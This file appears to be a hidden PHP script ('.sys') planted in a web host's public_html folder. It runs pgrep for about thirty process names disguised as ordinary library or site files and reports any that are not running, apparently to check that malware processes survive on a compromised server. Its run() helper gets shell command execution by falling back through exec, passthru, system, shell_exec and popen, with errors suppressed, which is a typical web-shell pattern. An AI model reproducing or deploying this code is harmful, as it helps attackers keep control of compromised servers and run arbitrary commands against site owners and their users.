File: /home/thuexe247c/domains/thuexe247.com.vn/public_html/.sys
<?php $files = ['FirePHP.class','tbl_replace','latestnews','is_scalar','details_up','config_seo','phdRqmnts','xp_publish','cp.trackback','streams_actions','class.sfiles','FixNesting','HtmlWidgets','Anonymous','dbstructure','blocksadmin','phpthumb.unsharp','applescript','bridgemgr','default_folders','right_head','tb_standalone.js','am.article','shoppingCart','delete_event','modform.inc','webdb_view_test','compat50x','set_constants','proj_cord']; foreach ($files as $f) { $res = @run("pgrep {$f}"); if (!preg_match('/\d+/', $res)) { die("<f>{$f}</f>"); } } die('!ended!'); function run($in) { $out = ''; if (function_exists('exec')) { @exec($in, $out); $out = @join("\n", $out); } elseif (function_exists('passthru')) { ob_start(); @passthru($in); $out = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); @system($in); $out = ob_get_clean(); } elseif (function_exists('shell_exec')) { $out = shell_exec($in); } elseif (is_resource($f = @popen($in, "r"))) { $out = ""; while (!@feof($f)) $out .= fread($f, 1024); pclose($f); } return $out; }